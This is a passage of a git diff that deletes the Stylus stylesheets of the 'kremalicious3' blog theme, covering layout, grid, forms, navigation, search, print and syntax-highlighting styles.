padding-left: 1.5em
display: block
&:before
@extend .text-dimmed
content: "$"
display: inline-block
margin-left: -.5em
margin-right: .8em

62
_src/_assets/styl/_kremalicious/content-featured.styl
View File

@ -1,62 +0,0 @@
//
// kremalicious3
// --------------
// Content - Featured Posts
//
.featured
@extend .breakoutviewport
padding-bottom: $spacer
.grid
margin-bottom: 0
@media $screen-sm
padding-bottom: ($spacer*3)
.hentry__teaser
max-width: 100%;
@media $screen-xs
margin-left: 0
margin-right: 0
.featured-link
@extend .link--nounderline
display: block
position: relative
&:hover,
&:focus
img
border-color: $link-color
.featured-title
@extend .transition
transition-property: transform, opacity
margin: 0
position: absolute
top: 25%
min-width: 45%
text-align: right
font-family: $headings-font-family
font-weight: $headings-font-weight
font-style: normal
font-size: $font-size-small
padding: ($spacer/3)
background: $link-color
background: alpha($link-color, .85)
color: #fff
text-shadow: 0 1px 0 #000
left: 0
opacity: 0
transform: translate3d(0, -20px, 0)
.featured-link:hover &
opacity: 1
transform: translate3d(0, 0, 0)
img.featured-image
display: block
margin-bottom: 0

24
_src/_assets/styl/_kremalicious/content-link.styl
View File

@ -1,24 +0,0 @@
//
// kremalicious3
// --------------
// Content - Link Post
//
.linkurl
@extend .text-dimmed, .ellipsis, .aligncenter
font-family: $font-family-base
font-size: $font-size-mini
padding: ($spacer/3) 0
max-width: 70%
@media $screen-sm
max-width: 50%
.permalink-link
@extend .alignright
.icon
fill: $link-color
width: 18px
&:hover .icon
fill: $link-color-hover

103
_src/_assets/styl/_kremalicious/content-photo.styl
View File

@ -1,103 +0,0 @@
//
// kremalicious3
// --------------
// Content - Photo Post
//
.hentry.format-photo
@extend .textcenter
.entry-title
margin-bottom: 0
figure
position: relative
display: inline-block
img,
figcaption
margin-bottom: 0
figcaption
@extend .transition, .h4
transition-property: transform, opacity
position: absolute
min-width: 45%
text-align: right
padding: ($spacer/3)
background: $link-color
background: alpha($link-color, .7)
color: #fff
text-shadow: 0 1px 0 #000
left: 0
top: $spacer * 4
opacity: 0
transform: translate3d(0, -20px, 0)
&:hover figcaption
opacity: 1
transform: translate3d(0, 0, 0)
.entry-content
text-align: left
margin-top: $spacer
.page-single &
padding-top: 0
padding-bottom: ($spacer*3)
@media $screen-sm
padding-top: 0
padding-bottom: ($spacer*6)
figure img
max-height: none
.photo-link
display: block;
img
@extend .media-frame
&,
&:hover,
&:focus,
&:active
box-shadow: none
&:hover,
&:focus
img
border-color: $link-color-hover
border-radius: $border-radius-base
&:active
background: none
//
// EXIF metadata display
//
.exif
@extend .small, .text-dimmed
text-align: left
position: absolute
bottom: -($spacer * 1.25)
left: $spacer
right: $spacer
.container
display: flex
flex-wrap: wrap
justify-content: space-between
//
// Photo background change adjustment
//
.ab-dark
.entry-content
@extend .text-dimmed
.byline, time, .comments
color: $text-color-light

48
_src/_assets/styl/_kremalicious/content-related.styl
View File

@ -1,48 +0,0 @@
//
// kremalicious3
// --------------
// Content - Related Posts
//
.related-posts
.grid
margin-top: 0
.related-posts-title
@extend .heading-band, .h3
margin-bottom: $spacer
.related-post
img
@extend .media-frame
.post-title
@extend .h5, .transition, .text-dimmed
margin-top: ($spacer / 3)
margin-bottom: 0
padding: 0 2px
.post-title-link
@extend .transition, .link--nounderline
display: block
&:hover,
&:focus
.post-title
color: $link-color
img
border-color: $link-color-hover
&:active
.post-title
color: #fff
transition: none
//
// Related Photos
//
.related-photos
@extend .divider-top
margin-top: $spacer * 2
padding-top: $spacer * 3

204
_src/_assets/styl/_kremalicious/content.styl
View File

@ -1,204 +0,0 @@
//
// kremalicious3
// --------------
// Generic Content
//
// Page Title
/////////////////////////////////////
.page-title
@extend .h2, .heading-band
color: $brand-grey-light
margin-top: -($spacer*2)
margin-bottom: $spacer
.hash
@extend .h3
color: darken($page-bg, 15%)
margin-right: 2px
.hentry
@extend .divider-bottom
padding-top: ($spacer*2)
padding-bottom: ($spacer*2)
width: 100%
&:first-child
padding-top: 0
@media $screen-sm
padding-top: ($spacer*3)
padding-bottom: ($spacer*3)
.page-single &
border: none
&:before
@extend .hide
// Post Header
/////////////////////////////////////
.entry-header
.page-single &
@media $screen-md
breakoutviewport()
// Post Title
/////////////////////////////////////
.entry-title
@extend .h1, .textcenter
color: $headings-color
margin-top: 0
margin-bottom: $spacer
a
@extend .link--nounderline
.format-link &
@extend .h3
// Post Lead
/////////////////////////////////////
.entry-lead
@extend .large, .textcenter
color: $brand-grey
line-height: $line-height-large
// Post/photo teaser
/////////////////////////////////////
.hentry__teaser
@extend .breakoutviewport
max-width: none
display: block
margin-top: ($spacer*1.5)
margin-bottom: ($spacer*1.5)
img
@extend .media-frame
border-radius: 0
@media $screen-sm
border-radius: $border-radius-base
.hentry__teaser--link
&:hover,
&:focus
img
border-color: $link-color
// Post Content
/////////////////////////////////////
.entry-content
h1,
h2
@extend .heading-band
h1
@extend .h2
h2
@extend .h3
h3
@extend .h4
p:last-child
margin-bottom: 0
// Post meta
/////////////////////////////////////
.entry-meta
@extend .small
margin-top: ($spacer*2)
a
@extend .link--nounderline
.byline,
.time,
.tags,
.categories
@extend .textcenter
.byline,
.time
@extend .text-dimmed, .italic
.byline
margin-bottom: 0
.by
display: block
.time
margin-bottom: ($spacer*2)
// Categories & Tags
/////////////////////////////////////
.categories
margin-bottom: ($spacer/2)
.category
@extend .h6, .textcenter, .mini, .link--nounderline
color: $text-color
line-height: 1
text-transform: uppercase
border: 1px solid $text-color
border-radius: $border-radius-base
padding: 4px 8px
margin: 0
display: inline-block
&:hover,
&:focus
color: $link-color
border-color: $link-color
&:active
background: $link-color
top: 0
color: #fff
.tag
@extend .link--nounderline
color: $text-color
margin-right: 5px
&:before
@extend .text-dimmed
content: '#'
margin-right: 1px
.avatar
width: 80px
height: 80px
border-radius: 80px
border: 2px solid #fff
// Goodies download
/////////////////////////////////////
.goodie-actions
@extend .aligncenter
max-width: 640px
p,
.btn
margin-bottom: 0
.btn
display: block

97
_src/_assets/styl/_kremalicious/footer.styl
View File

@ -1,97 +0,0 @@
//
// kremalicious3
// --------------
// Footer
//
.site__footer
@extend .textcenter
padding-top: ($spacer*2)
.avatar
margin-bottom: ($spacer / 2)
&,
.footer-description
color: $text-color-light
line-height: $spacer
a
@extend .link--nounderline
.footer-description
@extend .h5
margin-top: 0
margin-bottom: ($spacer / 4)
a
display: block
.footer-copyright
@extend .divider-top
padding-top: $spacer
padding-bottom: $spacer
p
margin-bottom: 0
font-size: $font-size-mini
.icon
width: 15px
height: 15px
margin-right: .2em
margin-bottom: -2px
// Subscribe component
.subscribe
margin: $spacer auto
p
@extend .textcenter
margin: 0
.link
@extend .textcenter, .link--nounderline
width: 2rem
padding: $padding-small-vertical
margin: 0
display: inline-block
color: $text-color-light
&:first-child
margin-left: 0
&:last-child
margin-right: 0
.icon
transition: color .3s ease-in-out
display: block
margin: 0 auto
.rss:hover .icon
fill: #e15a00
.json:hover .icon
fill: #8BE028
.twitter:hover .icon
fill: #019ad2
.google:hover .icon
fill: #c63b1e
.facebook:hover .icon
fill: #3b5998
.github:hover .icon
fill: #333
.subscribe-title
@extend .h5, .text-dimmed
margin-bottom: ($spacer/2)
.footer__btc
margin-left: ($spacer / 2)
.icon
width: 10px
margin-right: 0
code
font-size: .55rem
background: none
color: $link-color
padding: 0

189
_src/_assets/styl/_kremalicious/forms.styl
View File

@ -1,189 +0,0 @@
//
// kremalicious3
// --------------
// Forms
//
// Normalize non-controls
/////////////////////////////////////
fieldset
padding: 0
margin: 0
border: 0
min-width: 0
legend
display: block
width: 100%
padding: 0
margin-bottom: $spacer
font-size: ($font-size-base * 1.5)
line-height: inherit
border: 0
label
@extend .bold
display: inline-block
margin-bottom: 5px
cursor: pointer
// Normalize form controls
/////////////////////////////////////
// Override content-box in Normalize (* isn't specific enough)
input[type="search"]
box-sizing: border-box
// Position radios and checkboxes better
input[type="radio"],
input[type="checkbox"]
margin: 4px 0 0
margin-top: 1px \9 // IE8-9
line-height: normal
// Set the height of file controls to match text inputs
input[type="file"]
display: block
// Make range inputs behave like textual form controls
input[type="range"]
display: block
width: 100%
// Make multiple select elements height not fixed
select[multiple],
select[size]
height: auto
// Common form controls
/////////////////////////////////////
.form-control
display: block
width: 100%
padding: $padding-base-vertical $padding-base-horizontal
font-size: $input-font-size
font-weight: $input-font-weight
line-height: $line-height
color: $input-color
background-color: $input-bg
background-image: none // Reset unusual Firefox-on-Android default style
border: 0
border-radius: $input-border-radius
box-shadow: none
transition: all ease-in-out .15s
-webkit-appearance: none // screw you, iOS default inset box-shadow
// Placeholder
placeholder($input-color-placeholder)
&:hover
lighten($input-bg, 30%)
&:focus
background-color: $input-bg-focus
border-color: $input-border-focus
outline: 0
placeholder(lighten($input-color-placeholder, 25%))
// Disabled and read-only inputs
//
// HTML5 says that controls under a fieldset > legend:first-child won't be
// disabled if the fieldset is disabled. Due to implementation difficulty, we
// don't honor that edge case; we style them as disabled anyway.
&[disabled],
&[readonly],
fieldset[disabled] &
cursor: not-allowed
background-color: $input-bg-disabled
opacity: 1 // iOS fix for unreadable disabled content
// Form groups
/////////////////////////////////////
.form-group
margin-bottom: $spacer
// Search inputs
/////////////////////////////////////
input[type="search"]
-webkit-appearance: none // This overrides the extra rounded corners on search inputs in iOS
// Checkboxes and radios
/////////////////////////////////////
.radio,
.checkbox
display: block
min-height: $spacer // clear the floating input if there is no label text
margin-top: 10px
margin-bottom: 10px
label
padding-left: 20px
margin-bottom: 0
font-weight: normal
cursor: pointer
.radio input[type="radio"],
.radio-inline input[type="radio"],
.checkbox input[type="checkbox"],
.checkbox-inline input[type="checkbox"]
float: left
margin-left: -20px
.radio + .radio,
.checkbox + .checkbox
margin-top: -5px // Move up sibling radios or checkboxes for tighter spacing
// Radios and checkboxes on same line
.radio-inline,
.checkbox-inline
display: inline-block
padding-left: 20px
margin-bottom: 0
vertical-align: middle
font-weight: normal
cursor: pointer
.radio-inline + .radio-inline,
.checkbox-inline + .checkbox-inline
margin-top: 0
margin-left: 10px // space out consecutive inline controls
// Disabled Behavior
input[type="radio"],
input[type="checkbox"],
.radio,
.radio-inline,
.checkbox,
.checkbox-inline
&[disabled],
fieldset[disabled] &
cursor: not-allowed
// Form control sizing
/////////////////////////////////////
input-small()
input-size($padding-small-vertical, $padding-small-horizontal, $font-size-small, $line-height-small, $border-radius-small)
placeholder(font-size $font-size-small, line-height $line-height-small)
input-large()
input-size($padding-large-vertical, $padding-large-horizontal, $font-size-large, $line-height-large, $border-radius-large)
placeholder(font-size $font-size-large, line-height $line-height-large)
.input-small
input-small()
.input-large
input-large()

217
_src/_assets/styl/_kremalicious/grid.styl
View File

@ -1,217 +0,0 @@
//
// kremalicious3
// --------------
// Grid
//
*,
*:before,
*:after
box-sizing: border-box
//
// Base
//
.grid
display: flex
flex-wrap: wrap
list-style: none
margin: 0
padding: 0
.grid__col
flex: 1
// Firefox grid fix for whatever reason
min-height: 0
min-width: 0
//
// Alignment per row
//
.grid--top
align-items: flex-start
.grid--bottom
align-items: flex-end
.grid--center
align-items: center
.grid--justifycenter
justify-content: center
//
// Alignment per cell
//
.grid__col--top
align-self: flex-start
.grid__col--bottom
align-self: flex-end
.grid__col--center
align-self: center
//
// Gutters
//
.grid--gutters
margin: -($gutter-space) 0 $gutter-space (-($gutter-space))
> .grid__col
padding: $gutter-space 0 0 $gutter-space
@media $screen-xs
.grid-small--gutters
margin: -($gutter-space) 0 $gutter-space (-($gutter-space))
> .grid__col
padding: $gutter-space 0 0 $gutter-space
@media $screen-sm
.grid-medium--gutters
margin: -($gutter-space) 0 $gutter-space (-($gutter-space))
> .grid__col
padding: $gutter-space 0 0 $gutter-space
@media $screen-lg
.grid-large--gutters
margin: -($gutter-space) 0 $gutter-space (-($gutter-space))
> .grid__col
padding: $gutter-space 0 0 $gutter-space
//
// Columns
//
.grid--fit
> .grid__col
flex: 1
.grid--full
> .grid__col
flex: 0 0 100%
.grid--1of6
> .grid__col
flex: 0 0 16.5%
.grid--2of6,
.grid--third
> .grid__col
flex: 0 0 33.3333%
.grid--3of6,
.grid--half
> .grid__col
flex: 0 0 50%
.grid--4of6
> .grid__col
flex: 0 0 66%
.grid--5of6
> .grid__col
flex: 0 0 82.5%
@media $screen-xs
.grid-small--fit
> .grid__col
flex: 1
.grid-small--full
> .grid__col
flex: 0 0 100%
.grid-small--1of6
> .grid__col
flex: 0 0 16.5%
.grid-small--2of6,
.grid-small--third
> .grid__col
flex: 0 0 33.3333%
.grid-small--3of6,
.grid-small--half
> .grid__col
flex: 0 0 50%
.grid-small--4of6
> .grid__col
flex: 0 0 66%
.grid-small--5of6
> .grid__col
flex: 0 0 82.5%
@media $screen-sm
.grid-medium--fit
> .grid__col
flex: 1
.grid-medium--full
> .grid__col
flex: 0 0 100%
.grid-medium--1of6
> .grid__col
flex: 0 0 16.5%
.grid-medium--2of6,
.grid-medium--third
> .grid__col
flex: 0 0 33.3333%
.grid-medium--3of6,
.grid-medium--half
> .grid__col
flex: 0 0 50%
.grid-medium--4of6
> .grid__col
flex: 0 0 66%
.grid-medium--5of6
> .grid__col
flex: 0 0 82.5%
@media $screen-lg
.grid-large--fit
> .grid__col
flex: 1
.grid-large--full
> .grid__col
flex: 0 0 100%
.grid-large--1of6
> .grid__col
flex: 0 0 16.5%
.grid-large--2of6,
.grid-large--third
> .grid__col
flex: 0 0 33.3333%
.grid-large--3of6,
.grid-large--half
> .grid__col
flex: 0 0 50%
.grid-large--4of6
> .grid__col
flex: 0 0 66%
.grid-large--5of6
> .grid__col
flex: 0 0 82.5%

47
_src/_assets/styl/_kremalicious/hamburger.styl
View File

@ -1,47 +0,0 @@
.hamburger
@extend .transition
width: 18px
height: 18px
position: relative
transform: rotate(0deg)
cursor: pointer
margin-top: 6px
span
@extend .transition
display: block
position: absolute
height: 3px
width: 100%
background: $text-color-light
border-radius: 20px
opacity: 1
left: 0
transform: rotate(0deg)
&:nth-child(1)
top: 0px
transform-origin: left center
&:nth-child(2)
top: 5px
transform-origin: left center
&:nth-child(3)
top: 10px
transform-origin: left center
// open state
.has-menu-open &
&:nth-child(1)
transform: rotate(45deg)
top: -1px
&:nth-child(2)
width: 0%
opacity: 0
&:nth-child(3)
transform: rotate(-45deg)
top: 12px

73
_src/_assets/styl/_kremalicious/header.styl
View File

@ -1,73 +0,0 @@
//
// kremalicious3
// --------------
// Header
//
.site__header
margin-top: ($spacer/2)
margin-bottom: ($spacer/2)
@media $screen-sm
margin-top: $spacer
margin-bottom: $spacer
.grid
@extend .breakoutviewport
padding-left: $spacer
padding-right: $spacer
position: relative
@media $screen-md
padding-left: 0
padding-right: 0
> .banner,
> .nav-main
padding-top: 0
// Logo
/////////////////////////////////////
.logo
display: block
background-image: url('../img/logo.png')
background-repeat: no-repeat
background-position: left top
width: 47px
height: 31px
@media $screen-sm
width: 183px
@media $highDPI
background-image: url('../img/logo@2x.png')
background-size: 183px 62px
@media $highDPI_3x
background-image: url('../img/logo@3x.png')
background-size: 183px 62px
.header__title
margin: 0
// display toned down logo
// by default
@extend .logo
.header__logo
@extend .ir, .link--nounderline
// repeat logo
// but display hover version
@extend .logo
background-position: left bottom
// hide by default
opacity: 0
// show smooooothly on hover
&:hover
opacity: 1
&:active
top: 0

23
_src/_assets/styl/_kremalicious/icons.styl
View File

@ -1,23 +0,0 @@
//
// kremalicious3
// --------------
// Icons
//
svg
&.icon
@extend .transition
height: 20px
width: 20px
display: inline-block
fill: $text-color-light
vertical-align: baseline
.btn &
height: 18px
width: 18px
margin: 4px 4px -3px 4px
// Fix jQuery bug: http://bugs.jquery.com/ticket/11352
use
pointer-events: none

92
_src/_assets/styl/_kremalicious/layout.styl
View File

@ -1,92 +0,0 @@
//
// kremalicious3
// --------------
// Layout
//
.site__content,
.header__content
.footer__content
padding: 0 $spacer
width: 100%
@media $screen-md
padding: 0 ($spacer * 2)
.container
max-width: 35rem
margin-left: auto
margin-right: auto
.site__document
padding-top: ($spacer*2)
@media $screen-md
padding-top: ($spacer*3)
// topbar and footer as fixed
// site background
/////////////////////////////////////
.site__document
background-color: $page-bg
border-top: 1px solid rgba(255,255,255,.7)
border-bottom: 1px solid rgba(255,255,255,.7)
box-shadow: 0 1px 4px alpha($brand-dark, .1), 0 -1px 4px alpha($brand-dark, .2)
transform: translate3d(0,-($spacer*7.7),0)
@media $screen-xs
transform: translate3d(0,-($spacer*7.2),0)
@media $screen-sm
transform: translate3d(0,-($spacer*6),0)
@media $screen-md
transform: translate3d(0,-($spacer*5),0)
.has-menu-open &
transform: translate3d(0,0,0)
.site__footer
margin-top: -($spacer*6.5)
@media $screen-md
margin-top: 0
.has-menu-open &
margin-top: 0
@media $screen-md and (min-height: 650px)
.site
position: relative
.site__document
@extend .transition
position: relative
z-index: 2
margin-bottom: 32rem
transform: translate3d(0,($spacer*3),0)
.has-menu-open &
transform: translate3d(0,($spacer*8),0)
.site__header,
.site__footer
position: fixed
border: none
width: 100%
.site__header
z-index: 1
top: 0
border: none
.site__footer
z-index: 0
bottom: 0
box-shadow: none
.has-menu-open &
hide()

53
_src/_assets/styl/_kremalicious/media.styl
View File

@ -1,53 +0,0 @@
//
// kremalicious3
// --------------
// Media
//
// Responsive Media
/////////////////////////////////////
figure, img, svg, video, audio, embed, canvas, picture
max-width: 100%
height: auto
margin: 0 auto
display: block
border-radius: $border-radius-base
// Images
/////////////////////////////////////
img
vertical-align: middle
// Media Positioning
/////////////////////////////////////
img.alignleft,
img.alignright,
img.aligncenter
float: none
display: block
margin: $spacer auto
@media $screen-sm
img.alignleft
margin: 0 $spacer $spacer 0
img.alignright
margin: 0 0 $spacer $spacer
// Image frame style
/////////////////////////////////////
.media-frame
@extend .transition
border-top: 2px solid transparent
border-bottom: 2px solid transparent
border-radius: $border-radius-base
box-shadow: 0 1px 3px alpha($brand-grey,.2)
@media $screen-sm
border: 2px solid transparent

265
_src/_assets/styl/_kremalicious/mixins.styl
View File

@ -1,265 +0,0 @@
//
// kremalicious3
// --------------
// Mixins
//
// Micro Clearfix
/////////////////////////////////////
clearfix()
&:before,
&:after
content: " "
display: table
&:after
clear: both
.clearfix
clearfix()
// Floats
/////////////////////////////////////
alignright()
float: right
alignleft()
float: left
.alignright
alignright()
.alignleft
alignleft()
// Centering Blocks
/////////////////////////////////////
aligncenter()
display: block
margin-left: auto
margin-right: auto
.aligncenter
aligncenter()
// Centering Text
/////////////////////////////////////
textcenter()
text-align: center
.textcenter
textcenter()
// Toggling content
/////////////////////////////////////
// Hide from both screenreaders and browsers: h5bp.com/u
hide()
display: none !important
visibility: hidden
show()
display: block
visibility: visible
.hide
hide()
.show
show()
// Hide only visually, but have it available for screenreaders: h5bp.com/v
visuallyhidden()
border: 0
clip: rect(0 0 0 0)
height: 1px
margin: -1px
overflow: hidden
padding: 0
position: absolute
width: 1px
// Extends the .visuallyhidden class to allow the
// element to be focusable when navigated to via the keyboard: h5bp.com/p
&.focusable:active,
&.focusable:focus
clip: auto
height: auto
margin: 0
overflow: visible
position: static
width: auto
.visuallyhidden
visuallyhidden()
// Hide visually and from screenreaders, but maintain layout
.invisible
visibility: hidden
// CSS image replacement
/////////////////////////////////////
.ir,
.hide-text
font: 0/0 a
color: transparent
text-shadow: none
background-color: transparent
border: 0
// Text overflow
/////////////////////////////////////
ellipsis()
text-overflow: ellipsis
overflow: hidden
white-space: nowrap
.ellipsis
ellipsis()
// Default transition
/////////////////////////////////////
transition()
transition: all ease-in-out .15s
.transition
transition()
// Dashed Dividers
/////////////////////////////////////
.divider-top,
.divider-bottom
position: relative
&:before
content: ""
position: absolute
left: 0
height: 1px
.divider-top
border-top: 1px dashed #afc3cb
padding-top: 1em
&:after
content: ""
position: absolute
left: 0
height: 1px
top: 0
width: 100%
border-top: 1px dashed #fff
.divider-bottom
border-bottom: 1px dashed #afc3cb
padding-bottom: 1em
&:before
bottom: -2px
width: 100%
border-bottom: 1px dashed #fff
// Heading band
/////////////////////////////////////
.heading-band
display: inline-block
clear: both
background: rgba(255,255,255,.5)
padding: ($spacer/2) $spacer ($spacer/2) 100%
margin-left: -100%
// Lead paragraph
/////////////////////////////////////
.lead
font-size: $font-size-large
line-height: ($spacer*1.15)
// Layout breakout
/////////////////////////////////////
breakoutviewport()
margin-left: calc(-50vw + 50%)
margin-right: calc(-50vw + 50%)
@media $screen-md
breakoutviewport--base()
breakoutviewport--base()
margin-left: -($gutter-space * 4)
margin-right: -($gutter-space * 4)
breakoutviewport--full()
margin-left: calc(-50vw + 50%)
margin-right: calc(-50vw + 50%)
.breakoutviewport
breakoutviewport()
.breakoutviewport--base
breakoutviewport--base()
.breakoutviewport--full
breakoutviewport--full()
// Button sizing
/////////////////////////////////////
button-size(padding-vertical, padding-horizontal, font-size, line-height, border-radius)
padding: padding-vertical padding-horizontal
font-size: font-size
line-height: line-height
border-radius: border-radius
// Form control sizing
/////////////////////////////////////
input-size(padding-vertical, padding-horizontal, font-size, line-height, border-radius)
padding: padding-vertical padding-horizontal
font-size: font-size
line-height: line-height
border-radius: border-radius
input[type="search"]&
background-size: font-size
background-position: padding-vertical center
padding-left: (padding-vertical*4)
select&
line-height: input-height
textarea&,
select[multiple]&
height: auto
// Placeholder text
/////////////////////////////////////
placeholder($color = $input-color-placeholder)
&::-moz-placeholder // Firefox
color $color
opacity 1 // Override Firefox's unusual default opacity; See https//github.com/twbs/bootstrap/pull/11526
&:-ms-input-placeholder // Internet Explorer 10+
color $color
&::-webkit-input-placeholder // Safari and Chrome
color $color

105
_src/_assets/styl/_kremalicious/navigation.styl
View File

@ -1,105 +0,0 @@
//
// kremalicious3
// --------------
// Navigation
//
.menu-btn,
.search-btn
@extend .textcenter
line-height: 1em
vertical-align: middle
display: inline-block
margin: 0
position: absolute
right: $spacer
top: -($spacer/4)
@media $screen-md
right: 0
&:focus
outline: 0
&:hover,
&:focus
.icon
fill: $link-color
.hamburger span
background: $link-color
&:active
background: transparent
transition: none
.icon
fill: darken($link-color, 30%)
.hamburger span
background: darken($link-color, 30%)
.menu-btn
margin-right: -.5em
padding: .5em .7em
// Main Navigation
/////////////////////////////////////
.nav-popover
@extend .divider-top, .list-unstyled
padding: $spacer 0
margin-top: $spacer
margin-bottom: 0
display: flex // .nav-popver overwrite
margin-left: 0 // .grid overwrite
.grid__col
padding-top: 0
opacity: 0
.has-menu-open &
opacity: 1
.nav-link
@extend .link--nounderline, .category
font-size: $font-size-small
text-shadow: 0 1px 0 rgba(#fff, .5)
padding: $padding-base-horizontal
margin-bottom: 0
margin-top: 0
display: block
border: none
// Paginator
/////////////////////////////////////
.paginator
@extend .textcenter
padding-top: ($spacer*2)
padding-bottom: ($spacer*2)
.icon
margin-bottom: -5px
.paginator__link
@extend .link--nounderline
width: 2rem
height: 2rem
line-height: 1.7
display: inline-block
border-radius: 50%
&:hover,
&:focus
background: rgba(255,255,255,.3)
&.active
@extend .text-dimmed
cursor: default
pointer-events: none
background: rgba(255,255,255,.3)
.paginator-title
@extend .page-title

80
_src/_assets/styl/_kremalicious/print.styl
View File

@ -1,80 +0,0 @@
//
// kremalicious3
// --------------
// Print
//
@media print
*
background: transparent
color: black !important
box-shadow:none !important
text-shadow: none !important
.entry-content a[href]:after
content: " (" attr(href) ")"
text-transform: none
font-size: $font-size-small
// hide stuff in article view
.related-posts,
.footer .grid:first-child,
.hentry:before,
.topbar
hide()
.hentry
border: none
.footer
color: #ccc !important
.footer-copyright
border-top: 1px solid #000 !important
&:after
hide()
abbr[title]:after
content: " (" attr(title) ")"
// Don't show links for images, or javascript/internal links
.ir a:after,
a[href^="javascript:"]:after,
a[href^="#"]:after
content: ""
pre,
blockquote
page-break-inside: avoid
thead
display: table-header-group
tr,
img
page-break-inside: avoid
img
max-width: 100% !important
@page
margin: 5.5cm
p,
h2,
h3
orphans: 3
widows: 3
.hentry
h1
page-break-before: always
&:first-child h1
page-break-before: avoid
h2,
h3
page-break-after: avoid

23
_src/_assets/styl/_kremalicious/scaffolding.styl
View File

@ -1,23 +0,0 @@
//
// kremalicious3
// --------------
// Scaffolding
//
// Body
/////////////////////////////////////
body
background: $body-bg
// Reset fonts for relevant elements
/////////////////////////////////////
input,
button,
select,
textarea
font-family: inherit
font-size: inherit
line-height: inherit

86
_src/_assets/styl/_kremalicious/search.styl
View File

@ -1,86 +0,0 @@
//
// kremalicious3
// --------------
// Search
//
.has-search-open
overflow: hidden
.site__content
@extend .transition
filter: blur(10px) opacity(0.3)
user-select: none
pointer-events: none
.search-btn
right: 70px
padding: .65em .85em
@media $screen-md
right: 50px
.search-close
position: absolute
right: 14px
&,
&:active
top: 8%
.search-area
@extend .transition
position: absolute
left: 0
top: -7px
z-index: 3
margin-left: ($spacer / 2)
margin-right: ($spacer / 2)
width: "calc(100% - %s)" % $spacer
// hidden by default
display: none
@media $screen-md
margin-left: 0
margin-right: 0
width: 100%
&.is-ready
display: block
.form-control
background: #fff
.search-popover
position: absolute
left: 0
top: ($spacer*2.4)
bottom: 0
z-index: 6
width: 100%
max-height: 90vh
padding: ($spacer / 2) 0
overflow: auto
-webkit-overflow-scrolling: touch
@media $screen-sm
top: ($spacer * 3)
.search-results
@extend .breakoutviewport
padding-bottom: $spacer
.search-link
@extend .h4
line-height: $line-height-small
margin: 0
padding: ($spacer / 2)
display: block
border-bottom: 1px solid alpha($brand-grey-light, .2)
box-shadow: 0 1px 0 alpha(#fff,.2)
&:hover
background: $link-color
color: #fff

69
_src/_assets/styl/_kremalicious/syntax.styl
View File

@ -1,69 +0,0 @@
// https://github.com/MozMorris/tomorrow-pygments/blob/master/css/tomorrow_night_eighties.css
.highlight .hll { background-color: #515151 }
.highlight { color: #cccccc }
.highlight .c { color: #777 } /* Comment */
.highlight .err { color: #f2777a } /* Error */
.highlight .k { color: #cc99cc } /* Keyword */
.highlight .l { color: #f99157 } /* Literal */
.highlight .n { color: #cccccc } /* Name */
.highlight .o { color: #66cccc } /* Operator */
.highlight .p { color: #cccccc } /* Punctuation */
.highlight .cm { color: #777 } /* Comment.Multiline */
.highlight .cp { color: #777 } /* Comment.Preproc */
.highlight .c1 { color: #777 } /* Comment.Single */
.highlight .cs { color: #777 } /* Comment.Special */
.highlight .gd { color: #f2777a } /* Generic.Deleted */
.highlight .ge { font-style: italic } /* Generic.Emph */
.highlight .gh { color: #cccccc; font-weight: bold } /* Generic.Heading */
.highlight .gi { color: #99cc99 } /* Generic.Inserted */
.highlight .gp { color: #999999; font-weight: bold } /* Generic.Prompt */
.highlight .gs { font-weight: bold } /* Generic.Strong */
.highlight .gu { color: #66cccc; font-weight: bold } /* Generic.Subheading */
.highlight .kc { color: #cc99cc } /* Keyword.Constant */
.highlight .kd { color: #cc99cc } /* Keyword.Declaration */
.highlight .kn { color: #66cccc } /* Keyword.Namespace */
.highlight .kp { color: #cc99cc } /* Keyword.Pseudo */
.highlight .kr { color: #cc99cc } /* Keyword.Reserved */
.highlight .kt { color: #ffcc66 } /* Keyword.Type */
.highlight .ld { color: #99cc99 } /* Literal.Date */
.highlight .m { color: #f99157 } /* Literal.Number */
.highlight .s { color: #99cc99 } /* Literal.String */
.highlight .na { color: #6699cc } /* Name.Attribute */
.highlight .nb { color: #cccccc } /* Name.Builtin */
.highlight .nc { color: #ffcc66 } /* Name.Class */
.highlight .no { color: #f2777a } /* Name.Constant */
.highlight .nd { color: #66cccc } /* Name.Decorator */
.highlight .ni { color: #cccccc } /* Name.Entity */
.highlight .ne { color: #f2777a } /* Name.Exception */
.highlight .nf { color: #6699cc } /* Name.Function */
.highlight .nl { color: #cccccc } /* Name.Label */
.highlight .nn { color: #ffcc66 } /* Name.Namespace */
.highlight .nx { color: #6699cc } /* Name.Other */
.highlight .py { color: #cccccc } /* Name.Property */
.highlight .nt { color: #66cccc } /* Name.Tag */
.highlight .nv { color: #f2777a } /* Name.Variable */
.highlight .ow { color: #66cccc } /* Operator.Word */
.highlight .w { color: #cccccc } /* Text.Whitespace */
.highlight .mf { color: #f99157 } /* Literal.Number.Float */
.highlight .mh { color: #f99157 } /* Literal.Number.Hex */
.highlight .mi { color: #f99157 } /* Literal.Number.Integer */
.highlight .mo { color: #f99157 } /* Literal.Number.Oct */
.highlight .sb { color: #99cc99 } /* Literal.String.Backtick */
.highlight .sc { color: #cccccc } /* Literal.String.Char */
.highlight .sd { color: #999999 } /* Literal.String.Doc */
.highlight .s2 { color: #99cc99 } /* Literal.String.Double */
.highlight .se { color: #f99157 } /* Literal.String.Escape */
.highlight .sh { color: #99cc99 } /* Literal.String.Heredoc */
.highlight .si { color: #f99157 } /* Literal.String.Interpol */
.highlight .sx { color: #99cc99 } /* Literal.String.Other */
.highlight .sr { color: #99cc99 } /* Literal.String.Regex */
.highlight .s1 { color: #99cc99 } /* Literal.String.Single */
.highlight .ss { color: #99cc99 } /* Literal.String.Symbol */
.highlight .bp { color: #cccccc } /* Name.Builtin.Pseudo */
.highlight .vc { color: #f2777a } /* Name.Variable.Class */
.highlight .vg { color: #f2777a } /* Name.Variable.Global */
.highlight .vi { color: #f2777a } /* Name.Variable.Instance */
.highlight .il { color: #f99157 } /* Literal.Number.Integer.Long */

68
_src/_assets/styl/_kremalicious/tables.styl
View File

@ -1,68 +0,0 @@
//
// kremalicious3
// --------------
// Tables
//
table
border-collapse: collapse
border-spacing: 0
width: 100%
max-width: 100%
background-color: transparent
margin-bottom: $spacer
border-bottom: 1px solid #cfd9e1
td
vertical-align: top
th,
td
padding: .7em .3em
text-align: left
vertical-align: top
border-top: 1px solid #cfd9e1
th
@extend .bold
thead th
vertical-align: bottom
table tbody + tbody
border-top: 2px solid #cfd9e1
table tbody tr:nth-child(odd) td,
table tbody tr:nth-child(odd) th
background-color: rgba(255,255,255,.2)
table tbody tr:hover td,
table tbody tr:hover th
background-color: #f5f5f5
.table-responsive
